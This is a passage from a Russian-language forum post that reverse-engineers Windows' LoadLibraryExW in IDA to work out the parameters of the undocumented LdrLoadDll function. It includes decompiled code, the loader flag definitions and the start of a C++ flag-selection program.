<span class="kw1">mov</span> &nbsp; &nbsp; <span class="kw4">rdx</span><span class="sy1">,</span> <span class="kw4">rdi</span> &nbsp; &nbsp; &nbsp; &nbsp;<span class="co1">; hFile</span>
<span class="kw1">call</span> &nbsp; &nbsp;LoadLibraryExW</pre></td></tr></table></div></td></tr></tbody></table></div>аналогично и для LoadLibraryW (там ещё проще, никакого twain)<br />
<div class="codeblock"><table class="asm"><thead><tr><td colspan="2" id="149862178"  class="head">Assembler</td></tr></thead><tbody><tr class="li1"><td><div id="149862178" style="height: 78px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
</pre></td><td class="de1"><pre class="de1"><span class="kw1">xor</span> &nbsp; &nbsp; <span class="kw4">r8d</span><span class="sy1">,</span> <span class="kw4">r8d</span>
<span class="kw1">xor</span> &nbsp; &nbsp; <span class="kw4">edx</span><span class="sy1">,</span> <span class="kw4">edx</span>
<span class="kw1">jmp</span> &nbsp; &nbsp; LoadLibraryExW</pre></td></tr></table></div></td></tr></tbody></table></div>Итак, конечную функцию перед переходом в NT мы нашли, теперь посмотрим на её прототип<br />

			   <div class="spoiler-wrap">
				   <div class="spoiler-head folded clickable">Кликните здесь для просмотра всего текста</div>
				   <div class="spoiler-body">
					   <div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="632613996"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="632613996" style="height: 350px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
</pre></td><td class="de1"><pre class="de1">HMODULE __stdcall LoadLibraryExW<span class="br0">&#40;</span>LPCWSTR lpLibFileName, HANDLE hFile, DWORD dwFlags<span class="br0">&#41;</span>
<span class="br0">&#123;</span>
&nbsp; DWORD v3<span class="sy4">;</span> <span class="co1">// ebx</span>
&nbsp; <span class="kw4">unsigned</span> <span class="kw4">int</span> v4<span class="sy4">;</span> <span class="co1">// eax</span>
&nbsp; USHORT v5<span class="sy4">;</span> <span class="co1">// cx</span>
&nbsp; <span class="kw4">signed</span> <span class="kw4">int</span> v6<span class="sy4">;</span> <span class="co1">// edx</span>
&nbsp; <span class="kw4">unsigned</span> <span class="kw4">int</span> v7<span class="sy4">;</span> <span class="co1">// eax</span>
&nbsp; <span class="kw4">unsigned</span> <span class="kw4">int</span> v8<span class="sy4">;</span> <span class="co1">// esi</span>
&nbsp; <span class="kw4">bool</span> v10<span class="sy4">;</span> <span class="co1">// zf</span>
&nbsp; __int64 v11<span class="sy4">;</span> <span class="co1">// [rsp+30h] [rbp-20h]</span>
&nbsp; __int64 v12<span class="sy4">;</span> <span class="co1">// [rsp+38h] [rbp-18h]</span>
&nbsp; UNICODE_STRING Source<span class="sy4">;</span> <span class="co1">// [rsp+40h] [rbp-10h]</span>
&nbsp; <span class="kw4">int</span> v14<span class="sy4">;</span> <span class="co1">// [rsp+70h] [rbp+20h]</span>
&nbsp; __int64 v15<span class="sy4">;</span> <span class="co1">// [rsp+88h] [rbp+38h]</span>
&nbsp;
&nbsp; v3 <span class="sy1">=</span> dwFlags<span class="sy4">;</span>
&nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> <span class="sy3">!</span>lpLibFileName <span class="sy3">||</span> hFile <span class="sy3">||</span> dwFlags <span class="sy3">&amp;</span> <span class="nu12">0xFFFF0000</span> <span class="sy3">||</span> <span class="br0">&#40;</span>dwFlags <span class="sy3">&amp;</span> <span class="nu12">0x42</span><span class="br0">&#41;</span> <span class="sy1">==</span> <span class="nu0">66</span> <span class="br0">&#41;</span>
&nbsp; &nbsp; <span class="kw1">goto</span> LABEL_31<span class="sy4">;</span>
&nbsp; v4 <span class="sy1">=</span> RtlInitUnicodeStringEx<span class="br0">&#40;</span><span class="sy3">&amp;</span>Source, lpLibFileName<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> <span class="br0">&#40;</span>v4 <span class="sy3">&amp;</span> <span class="nu12">0x80000000</span><span class="br0">&#41;</span> <span class="sy3">!</span><span class="sy1">=</span> <span class="nu0">0</span> <span class="br0">&#41;</span>
&nbsp; <span class="br0">&#123;</span>
&nbsp; &nbsp; BaseSetLastNTError<span class="br0">&#40;</span>v4<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw1">return</span> 0i64<span class="sy4">;</span>
&nbsp; <span class="br0">&#125;</span>
&nbsp; v5 <span class="sy1">=</span> Source.<span class="me1">Length</span><span class="sy4">;</span>
&nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> <span class="sy3">!</span>Source.<span class="me1">Length</span> <span class="br0">&#41;</span>
&nbsp; &nbsp; <span class="kw1">goto</span> LABEL_31<span class="sy4">;</span>
&nbsp; <span class="kw1">do</span>
&nbsp; <span class="br0">&#123;</span>
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> Source.<span class="me1">Buffer</span><span class="br0">&#91;</span><span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw4">unsigned</span> __int64<span class="br0">&#41;</span>v5 <span class="sy1">&gt;&gt;</span> <span class="nu0">1</span><span class="br0">&#41;</span> <span class="sy2">-</span> <span class="nu0">1</span><span class="br0">&#93;</span> <span class="sy3">!</span><span class="sy1">=</span> <span class="nu0">32</span> <span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; <span class="kw1">break</span><span class="sy4">;</span>
&nbsp; &nbsp; v10 <span class="sy1">=</span> v5 <span class="sy1">==</span> <span class="nu0">2</span><span class="sy4">;</span>
&nbsp; &nbsp; v5 <span class="sy2">-</span><span class="sy1">=</span> <span class="nu0">2</span><span class="sy4">;</span>
&nbsp; &nbsp; Source.<span class="me1">Length</span> <span class="sy1">=</span> v5<span class="sy4">;</span>
&nbsp; <span class="br0">&#125;</span>
&nbsp; <span class="kw1">while</span> <span class="br0">&#40;</span> <span class="sy3">!</span>v10 <span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> <span class="sy3">!</span>v5 <span class="br0">&#41;</span>
&nbsp; <span class="br0">&#123;</span>
LABEL_31<span class="sy4">:</span>
&nbsp; &nbsp; BaseSetLastNTError<span class="br0">&#40;</span>3221225485i64<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw1">return</span> 0i64<span class="sy4">;</span>
&nbsp; <span class="br0">&#125;</span>
&nbsp; v6 <span class="sy1">=</span> <span class="nu0">0</span><span class="sy4">;</span>
&nbsp; v15 <span class="sy1">=</span> 0i64<span class="sy4">;</span>
&nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> v3 <span class="sy3">&amp;</span> <span class="nu12">0x62</span> <span class="br0">&#41;</span>
&nbsp; <span class="br0">&#123;</span>
&nbsp; &nbsp; JUMPOUT<span class="br0">&#40;</span>LdrGetDllPath<span class="br0">&#40;</span>Source.<span class="me1">Buffer</span>, v3 <span class="sy3">&amp;</span> <span class="nu12">0x7F08</span>, <span class="sy3">&amp;</span>v11, <span class="sy3">&amp;</span>v12<span class="br0">&#41;</span>, <span class="nu0">0</span>, sub_18009AE5E<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; v7 <span class="sy1">=</span> BasepLoadLibraryAsDataFileInternal<span class="br0">&#40;</span><span class="sy3">&amp;</span>Source, <span class="br0">&#40;</span>__int64<span class="br0">&#41;</span><span class="sy3">&amp;</span>v15<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; v8 <span class="sy1">=</span> v7<span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> <span class="br0">&#40;</span><span class="kw4">signed</span> <span class="kw4">int</span><span class="br0">&#41;</span><span class="br0">&#40;</span>v7 <span class="sy2">+</span> <span class="nu0">2147483648</span><span class="br0">&#41;</span> <span class="sy1">&gt;=</span> <span class="nu0">0</span> <span class="sy3">&amp;&amp;</span> v7 <span class="sy3">!</span><span class="sy1">=</span> <span class="sy2">-</span><span class="nu0">1073741809</span> <span class="sy3">&amp;&amp;</span> v3 <span class="sy3">&amp;</span> <span class="nu12">0x20</span> <span class="sy3">&amp;&amp;</span> v3 <span class="sy3">&amp;</span> <span class="nu12">0x42</span> <span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; v8 <span class="sy1">=</span> BasepLoadLibraryAsDataFileInternal<span class="br0">&#40;</span><span class="sy3">&amp;</span>Source, <span class="br0">&#40;</span>__int64<span class="br0">&#41;</span><span class="sy3">&amp;</span>v15<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; RtlReleasePath<span class="br0">&#40;</span>v11<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; <span class="br0">&#125;</span>
&nbsp; <span class="kw1">else</span>
&nbsp; <span class="br0">&#123;</span>
&nbsp; &nbsp; v14 <span class="sy1">=</span> <span class="nu0">0</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> v3 <span class="sy3">&amp;</span> <span class="nu0">1</span> <span class="br0">&#41;</span>
&nbsp; &nbsp; <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; v14 <span class="sy1">=</span> <span class="nu0">2</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; v6 <span class="sy1">=</span> <span class="nu0">2</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> <span class="br0">&#40;</span>v3 <span class="sy3">&amp;</span> 0x80u<span class="br0">&#41;</span> <span class="sy3">!</span><span class="sy1">=</span> <span class="nu0">0</span> <span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; v14 <span class="sy1">=</span> v6 <span class="sy3">|</span> <span class="nu12">0x800000</span><span class="sy4">;</span>
&nbsp; &nbsp; JUMPOUT<span class="br0">&#40;</span>v3 <span class="sy3">&amp;</span> <span class="nu0">4</span>, <span class="nu0">0</span>, sub_18009AE65<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; JUMPOUT<span class="br0">&#40;</span>_bittest<span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw4">const</span> <span class="kw4">signed</span> <span class="kw4">int</span> <span class="sy2">*</span><span class="br0">&#41;</span><span class="sy3">&amp;</span>v3, 0xFu<span class="br0">&#41;</span>, sub_18009AE70<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; v8 <span class="sy1">=</span> LdrLoadDll<span class="br0">&#40;</span>v3 <span class="sy3">&amp;</span> <span class="nu12">0x7F08</span> <span class="sy3">|</span> 1i64, <span class="sy3">&amp;</span>v14, <span class="sy3">&amp;</span>Source, <span class="sy3">&amp;</span>v15<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; <span class="br0">&#125;</span>
&nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> <span class="br0">&#40;</span>v8 <span class="sy3">&amp;</span> <span class="nu12">0x80000000</span><span class="br0">&#41;</span> <span class="sy1">==</span> <span class="nu0">0</span> <span class="br0">&#41;</span>
&nbsp; &nbsp; <span class="kw1">return</span> <span class="br0">&#40;</span>HMODULE<span class="br0">&#41;</span>v15<span class="sy4">;</span>
&nbsp; BaseSetLastNTError<span class="br0">&#40;</span>v8<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; <span class="kw1">return</span> 0i64<span class="sy4">;</span>
<span class="br0">&#125;</span></pre></td></tr></table></div></td></tr></tbody></table></div>
				   </div>
			   </div><br />
Теперь разберёмся что и к чему здесь.<br />
Сначала происходит инициализация юникод-строки RtlInitUnicodeStringEx.<br />
Далее рассмотрим вот этот участок кода<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="25659573"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="25659573" style="height: 318px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
</pre></td><td class="de1"><pre class="de1"><span class="kw1">else</span>
<span class="br0">&#123;</span>
&nbsp; &nbsp; v14 <span class="sy1">=</span> <span class="nu0">0</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>v3 <span class="sy3">&amp;</span> <span class="nu0">1</span><span class="br0">&#41;</span>
&nbsp; &nbsp; <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; v14 <span class="sy1">=</span> <span class="nu0">2</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; v6 <span class="sy1">=</span> <span class="nu0">2</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="br0">&#40;</span>v3 <span class="sy3">&amp;</span> 0x80u<span class="br0">&#41;</span> <span class="sy3">!</span><span class="sy1">=</span> <span class="nu0">0</span><span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; v14 <span class="sy1">=</span> v6 <span class="sy3">|</span> <span class="nu12">0x800000</span><span class="sy4">;</span>
&nbsp; &nbsp; JUMPOUT<span class="br0">&#40;</span>v3 <span class="sy3">&amp;</span> <span class="nu0">4</span>, <span class="nu0">0</span>, sub_18009AE65<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; JUMPOUT<span class="br0">&#40;</span>_bittest<span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw4">const</span> <span class="kw4">signed</span> <span class="kw4">int</span> <span class="sy2">*</span><span class="br0">&#41;</span><span class="sy3">&amp;</span>v3, 0xFu<span class="br0">&#41;</span>, sub_18009AE70<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; v8 <span class="sy1">=</span> LdrLoadDll<span class="br0">&#40;</span>v3 <span class="sy3">&amp;</span> <span class="nu12">0x7F08</span> <span class="sy3">|</span> 1i64, <span class="sy3">&amp;</span>v14, <span class="sy3">&amp;</span>Source, <span class="sy3">&amp;</span>v15<span class="br0">&#41;</span><span class="sy4">;</span>
<span class="br0">&#125;</span>
<span class="kw1">if</span> <span class="br0">&#40;</span><span class="br0">&#40;</span>v8 <span class="sy3">&amp;</span> <span class="nu12">0x80000000</span><span class="br0">&#41;</span> <span class="sy1">==</span> <span class="nu0">0</span><span class="br0">&#41;</span>
&nbsp; &nbsp; <span class="kw1">return</span> <span class="br0">&#40;</span>HMODULE<span class="br0">&#41;</span>v15<span class="sy4">;</span>
BaseSetLastNTError<span class="br0">&#40;</span>v8<span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw1">return</span> 0i64<span class="sy4">;</span></pre></td></tr></table></div></td></tr></tbody></table></div>Итак:<br />
v8 это просто NTSTATUS<br />
v3 (если смотреть на прототип LoadLibraryExW) это dwFlags (v3 = dwFlags)<br />
v14 это целочисленное значение, которое зависит от передаваемого в функцию флага<br />
Source - всё просто, это UNICODE_STRING<br />
v15 это HMODULE, указатель на загружаемую библиотеку.<br />
<br />
Флаг, который обрабатывается в LdrLoadDll, является флагом критерия поиска библиотеки (про каждый из них можно прочитать на MSDN)<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="580922565"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="580922565" style="height: 350px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
</pre></td><td class="de1"><pre class="de1"><span class="co2">#define DONT_RESOLVE_DLL_REFERENCES &nbsp; &nbsp; &nbsp; &nbsp; 0x00000001</span>
<span class="co2">#define LOAD_LIBRARY_AS_DATAFILE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0x00000002</span>
<span class="co1">// reserved for internal LOAD_PACKAGED_LIBRARY: 0x00000004</span>
<span class="co2">#define LOAD_WITH_ALTERED_SEARCH_PATH &nbsp; &nbsp; &nbsp; 0x00000008</span>
<span class="co2">#define LOAD_IGNORE_CODE_AUTHZ_LEVEL &nbsp; &nbsp; &nbsp; &nbsp;0x00000010</span>
<span class="co2">#define LOAD_LIBRARY_AS_IMAGE_RESOURCE &nbsp; &nbsp; &nbsp;0x00000020</span>
<span class="co2">#define LOAD_LIBRARY_AS_DATAFILE_EXCLUSIVE &nbsp;0x00000040</span>
<span class="co2">#define LOAD_LIBRARY_REQUIRE_SIGNED_TARGET &nbsp;0x00000080</span>
<span class="co2">#define LOAD_LIBRARY_SEARCH_DLL_LOAD_DIR &nbsp; &nbsp;0x00000100</span>
<span class="co2">#define LOAD_LIBRARY_SEARCH_APPLICATION_DIR 0x00000200</span>
<span class="co2">#define LOAD_LIBRARY_SEARCH_USER_DIRS &nbsp; &nbsp; &nbsp; 0x00000400</span>
<span class="co2">#define LOAD_LIBRARY_SEARCH_SYSTEM32 &nbsp; &nbsp; &nbsp; &nbsp;0x00000800</span>
<span class="co2">#define LOAD_LIBRARY_SEARCH_DEFAULT_DIRS &nbsp; &nbsp;0x00001000</span>
&nbsp;
<span class="co2">#if (NTDDI_VERSION &gt;= NTDDI_WIN10_RS1)</span>
&nbsp;
<span class="co2">#define LOAD_LIBRARY_SAFE_CURRENT_DIRS &nbsp; &nbsp; &nbsp;0x00002000</span>
&nbsp;
<span class="co2">#define LOAD_LIBRARY_SEARCH_SYSTEM32_NO_FORWARDER &nbsp; 0x00004000</span>
&nbsp;
<span class="co2">#else</span>
&nbsp;
<span class="co1">//</span>
<span class="co1">// For anything building for downlevel, set the flag to be the same as LOAD_LIBRARY_SEARCH_SYSTEM32</span>
<span class="co1">// such that they're treated the same when running on older version of OS.</span>
<span class="co1">//</span>
&nbsp;
<span class="co2">#if (NTDDI_VERSION &gt;= NTDDI_WIN10_RS2)</span>
&nbsp;
<span class="co2">#define LOAD_LIBRARY_OS_INTEGRITY_CONTINUITY &nbsp; 0x00008000</span>
&nbsp;
<span class="co2">#endif</span></pre></td></tr></table></div></td></tr></tbody></table></div>Именно поэтому в неправильном прототипе указан тип первого параметра - PWSTR DllPath. Кто-то не до конца понял, что это не путь к Dll, а флаг поиска, который система реализует сама.<br />
<br />
И вот теперь, учитывая разбор через IDA, мы можем написать правильный прототип:<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="734811282"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="734811282" style="height: 142px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
</pre></td><td class="de1"><pre class="de1"><span class="kw4">typedef</span> NTSTATUS<span class="br0">&#40;</span>__fastcall<span class="sy2">*</span> _LdrLoadDll<span class="br0">&#41;</span><span class="br0">&#40;</span>
&nbsp; &nbsp; _In_opt_ UINT32 Flags,
&nbsp; &nbsp; _In_opt_ PUINT32 Reserved,
&nbsp; &nbsp; _In_ PUNICODE_STRING ModuleFileName,
&nbsp; &nbsp; _Out_ HMODULE<span class="sy2">*</span> ModuleHandle
&nbsp; &nbsp; <span class="br0">&#41;</span><span class="sy4">;</span>
_LdrLoadDll LdrLoadDll<span class="sy4">;</span></pre></td></tr></table></div></td></tr></tbody></table></div>Причём реализовывать его нужно следующим образом<br />

			   <div class="spoiler-wrap">
				   <div class="spoiler-head folded clickable">Кликните здесь для просмотра всего текста</div>
				   <div class="spoiler-body">
					   <div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="187856062"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="187856062" style="height: 350px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
</pre></td><td class="de1"><pre class="de1">std<span class="sy4">::</span><span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span>
&nbsp; &nbsp; <span class="st0">&quot;0 - NULL (without flag)<span class="es1">\n</span>&quot;</span>
&nbsp; &nbsp; <span class="st0">&quot;1 - DONT_RESOLVE_DLL_REFERENCES<span class="es1">\n</span>&quot;</span>
&nbsp; &nbsp; <span class="st0">&quot;2 - LOAD_LIBRARY_AS_DATAFILE<span class="es1">\n</span>&quot;</span>
&nbsp; &nbsp; <span class="st0">&quot;3 - LOAD_PACKAGED_LIBRARY (for internal)<span class="es1">\n</span>&quot;</span>
&nbsp; &nbsp; <span class="st0">&quot;4 - LOAD_WITH_ALTERED_SEARCH_PATH<span class="es1">\n</span>&quot;</span>
&nbsp; &nbsp; <span class="st0">&quot;5 - LOAD_IGNORE_CODE_AUTHZ_LEVEL<span class="es1">\n</span>&quot;</span>
&nbsp; &nbsp; <span class="st0">&quot;6 - LOAD_LIBRARY_AS_IMAGE_RESOURCE<span class="es1">\n</span>&quot;</span>
&nbsp; &nbsp; <span class="st0">&quot;7 - LOAD_LIBRARY_AS_DATAFILE_EXCLUSIVE<span class="es1">\n</span>&quot;</span>
&nbsp; &nbsp; <span class="st0">&quot;8 - LOAD_LIBRARY_REQUIRE_SIGNED_TARGET<span class="es1">\n</span>&quot;</span>
&nbsp; &nbsp; <span class="st0">&quot;9 - LOAD_LIBRARY_SEARCH_DLL_LOAD_DIR<span class="es1">\n</span>&quot;</span>
&nbsp; &nbsp; <span class="st0">&quot;10 - LOAD_LIBRARY_SEARCH_APPLICATION_DIR<span class="es1">\n</span>&quot;</span>
&nbsp; &nbsp; <span class="st0">&quot;11 - LOAD_LIBRARY_SEARCH_USER_DIRS<span class="es1">\n</span>&quot;</span>
&nbsp; &nbsp; <span class="st0">&quot;12 - LOAD_LIBRARY_SEARCH_SYSTEM32 (for anything building for downlevel)<span class="es1">\n</span>&quot;</span>
&nbsp; &nbsp; <span class="st0">&quot;13 - LOAD_LIBRARY_SEARCH_DEFAULT_DIRS<span class="es1">\n</span>&quot;</span>
&nbsp; &nbsp; <span class="st0">&quot;14 - LOAD_LIBRARY_SAFE_CURRENT_DIRS (WIN10_RS1)<span class="es1">\n</span>&quot;</span>
&nbsp; &nbsp; <span class="st0">&quot;15 - LOAD_LIBRARY_SEARCH_SYSTEM32_NO_FORWARDER (WIN10_RS1)<span class="es1">\n</span>&quot;</span>
&nbsp; &nbsp; <span class="st0">&quot;16 - LOAD_LIBRARY_OS_INTEGRITY_CONTINUITY (WIN10_RS2)<span class="es1">\n</span>&quot;</span>
&nbsp; &nbsp; <span class="st0">&quot;Choose: &quot;</span><span class="sy4">;</span>
&nbsp;
UINT32 temp <span class="sy1">=</span> <span class="nu0">0</span>, flag <span class="sy1">=</span> <span class="nu0">0</span>, temp1 <span class="sy1">=</span> <span class="nu0">0</span><span class="sy4">;</span>
INT32 temp2 <span class="sy1">=</span> <span class="nu0">0</span><span class="sy4">;</span>
HMODULE hModule <span class="sy1">=</span> <span class="kw2">nullptr</span><span class="sy4">;</span>
PVOID fnAddress <span class="sy1">=</span> <span class="kw2">nullptr</span><span class="sy4">;</span>
UNICODE_STRING LibraryName <span class="sy1">=</span> <span class="br0">&#123;</span> <span class="nu0">0</span> <span class="br0">&#125;</span><span class="sy4">;</span>
ANSI_STRING FunctionName <span class="sy1">=</span> <span class="br0">&#123;</span> <span class="nu0">0</span> <span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp;
std<span class="sy4">::</span><span class="kw3">cin</span> <span class="sy1">&gt;&gt;</span> temp<span class="sy4">;</span>
std<span class="sy4">::</span><span class="kw3">cin</span>.<span class="me1">get</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
<span class="kw1">switch</span> <span class="br0">&#40;</span>temp<span class="br0">&#41;</span> <span class="br0">&#123;</span>
<span class="kw1">case</span> <span class="nu0">0</span><span class="sy4">:</span>
&nbsp; &nbsp; flag <span class="sy1">=</span> <span class="kw2">NULL</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw1">break</span><span class="sy4">;</span>
<span class="kw1">case</span> <span class="nu0">1</span><span class="sy4">:</span>
&nbsp; &nbsp; flag <span class="sy1">=</span> DONT_RESOLVE_DLL_REFERENCES<span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw1">break</span><span class="sy4">;</span>
<span class="kw1">case</span> <span class="nu0">2</span><span class="sy4">:</span>
&nbsp; &nbsp; flag <span class="sy1">=</span> LOAD_LIBRARY_AS_DATAFILE<span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw1">break</span><span class="sy4">;</span>
<span class="kw1">case</span> <span class="nu0">3</span><span class="sy4">:</span>
&nbsp; &nbsp; flag <span class="sy1">=</span> <span class="nu12">0x00000004</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw1">break</span><span class="sy4">;</span>
<span class="kw1">case</span> <span class="nu0">4</span><span class="sy4">:</span>
&nbsp; &nbsp; flag <span class="sy1">=</span> LOAD_WITH_ALTERED_SEARCH_PATH<span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw1">break</span><span class="sy4">;</span>
<span class="kw1">case</span> <span class="nu0">5</span><span class="sy4">:</span>
&nbsp; &nbsp; flag <span class="sy1">=</span> LOAD_IGNORE_CODE_AUTHZ_LEVEL<span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw1">break</span><span class="sy4">;</span>
<span class="kw1">case</span> <span class="nu0">6</span><span class="sy4">:</span>
&nbsp; &nbsp; flag <span class="sy1">=</span> LOAD_LIBRARY_AS_IMAGE_RESOURCE<span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw1">break</span><span class="sy4">;</span>
<span class="kw1">case</span> <span class="nu0">7</span><span class="sy4">:</span>
&nbsp; &nbsp; flag <span class="sy1">=</span> LOAD_LIBRARY_AS_DATAFILE_EXCLUSIVE<span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw1">break</span><span class="sy4">;</span>
<span class="kw1">case</span> <span class="nu0">8</span><span class="sy4">:</span>
&nbsp; &nbsp; flag <span class="sy1">=</span> LOAD_LIBRARY_REQUIRE_SIGNED_TARGET<span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw1">break</span><span class="sy4">;</span>
<span class="kw1">case</span> <span class="nu0">9</span><span class="sy4">:</span>
&nbsp; &nbsp; flag <span class="sy1">=</span> LOAD_LIBRARY_SEARCH_DLL_LOAD_DIR<span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw1">break</span><span class="sy4">;</span>
<span class="kw1">case</span> <span class="nu0">10</span><span class="sy4">:</span>
&nbsp; &nbsp; flag <span class="sy1">=</span> LOAD_LIBRARY_SEARCH_APPLICATION_DIR<span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw1">break</span><span class="sy4">;</span>
<span class="kw1">case</span> <span class="nu0">11</span><span class="sy4">:</span>
&nbsp; &nbsp; flag <span class="sy1">=</span> LOAD_LIBRARY_SEARCH_USER_DIRS<span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw1">break</span><span class="sy4">;</span>
<span class="kw1">case</span> <span class="nu0">12</span><span class="sy4">:</span>
&nbsp; &nbsp; flag <span class="sy1">=</span> LOAD_LIBRARY_SEARCH_SYSTEM32<span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw1">break</span><span class="sy4">;</span>
<span class="kw1">case</span> <span class="nu0">13</span><span class="sy4">:</span>
&nbsp; &nbsp; flag <span class="sy1">=</span> LOAD_LIBRARY_SEARCH_DEFAULT_DIRS<span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw1">break</span><span class="sy4">;</span>
<span class="kw1">case</span> <span class="nu0">14</span><span class="sy4">:</span>
&nbsp; &nbsp; flag <span class="sy1">=</span> LOAD_LIBRARY_SAFE_CURRENT_DIRS<span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw1">break</span><span class="sy4">;</span>
<span class="kw1">case</span> <span class="nu0">15</span><span class="sy4">:</span>
&nbsp; &nbsp; flag <span class="sy1">=</span> LOAD_LIBRARY_SEARCH_SYSTEM32_NO_FORWARDER<span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw1">break</span><span class="sy4">;</span>
<span class="kw1">case</span> <span class="nu0">16</span><span class="sy4">:</span>
flag <span class="sy1">=</span> LOAD_LIBRARY_OS_INTEGRITY_CONTINUITY<span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw1">break</span><span class="sy4">;</span>
<span class="kw1">default</span><span class="sy4">:</span>
&nbsp; &nbsp; <span class="kw1">break</span><span class="sy4">;</span>
<span class="br0">&#125;</span>
&nbsp;
<span class="kw1">if</span> <span class="br0">&#40;</span>flag <span class="sy3">&amp;</span> <span class="nu0">1</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; temp1 <span class="sy1">=</span> <span class="nu0">2</span><span class="sy4">;</span>
&nbsp; &nbsp; temp2 <span class="sy1">=</span> <span class="nu0">2</span><span class="sy4">;</span>
<span class="br0">&#125;</span>
&nbsp;
